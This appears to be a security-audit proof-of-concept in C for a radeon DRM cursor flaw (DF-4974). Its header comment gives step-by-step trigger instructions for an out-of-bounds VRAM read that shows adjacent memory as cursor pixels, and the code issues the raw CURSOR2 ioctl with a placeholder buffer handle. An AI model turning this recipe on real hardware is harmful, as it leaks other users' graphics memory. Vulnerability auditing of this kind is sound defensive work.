DF-4974 / cursor_oob.c
/* * DF-4974 โ radeon_cursor.c: missing cursor BO size validation * * Intended (real-HW) trigger: * 1. Become DRM master on a radeon KMS seat (open /dev/dri/card0, * drmSetMaster/drmAuthMagic โ the console/seat owner is unprivileged). * 2. Create a tiny GEM buffer (RADEON_GEM_CREATE_VRAM, one 4KB page). * 3. DRM_IOCTL_MODE_CURSOR2 with handle=<tiny bo>, width=64, height=64. * -> radeon_crtc_cursor_set2() pins the 4KB BO in VRAM and programs * CUR_SIZE = ((64-1)<<16)|(64-1); the display engine then fetches * 64*64*4 = 16KB starting at cursor_addr โ 12KB past the BO end. * -> adjacent VRAM contents are rendered as cursor pixels on the * physical screen (information exposure to anyone who can see or * capture the display; on pre-AVIVO ASICs the extra * yorigin*256 offset path adds a further window). * * On this audit guest (QEMU/KVM, no GPU) there is no /dev/dri node and no * radeon device, so step 1 cannot be reached. This program documents that * empirically: it fails at open("/dev/dri/card0") with ENOENT and exits 1. * If a card is present it performs step 3 via the raw ioctl. */ #include <errno.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define DRM_IOCTL_BASE 'd' struct drm_mode_cursor2_local { uint32_t flags; uint32_t crtc_id; int32_t x, y; uint32_t width; uint32_t height; uint32_t handle; int32_t hot_x; int32_t y_hot; }; /* matches include/uapi/drm/drm.h: DRM_IOWR('d', 0xBB, struct drm_mode_cursor2) */ #define DRM_IOCTL_MODE_CURSOR2_LOCAL \ _IOWR(DRM_IOCTL_BASE, 0xBB, struct drm_mode_cursor2_local) int main(void) { int fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { printf("[DF-4974] open /dev/dri/card0 failed: %s\n", strerror(errno)); printf("[DF-4974] no DRM device on this guest -> " "radeon_cursor.c path unreachable here\n"); return 1; } printf("[DF-4974] card opened; would issue CURSOR2 with a 1-page " "VRAM bo at 64x64 (needs real radeon HW to manifest)\n"); struct drm_mode_cursor2_local req; memset(&req, 0, sizeof(req)); req.flags = 0x1 /* DRM_MODE_CURSOR_BO */ | 0x2 /* DRM_MODE_CURSOR_MOVE */; req.crtc_id = 0; req.width = 64; req.height = 64; /* 64*64*4 = 16KB fetch from a 4KB bo */ req.handle = 0; /* placeholder: real trigger uses a tiny GEM handle */ req.x = 100; req.y = 100; if (ioctl(fd, DRM_IOCTL_MODE_CURSOR2_LOCAL, &req) < 0) printf("[DF-4974] CURSOR2 ioctl: %s\n", strerror(errno)); close(fd); return 0; } |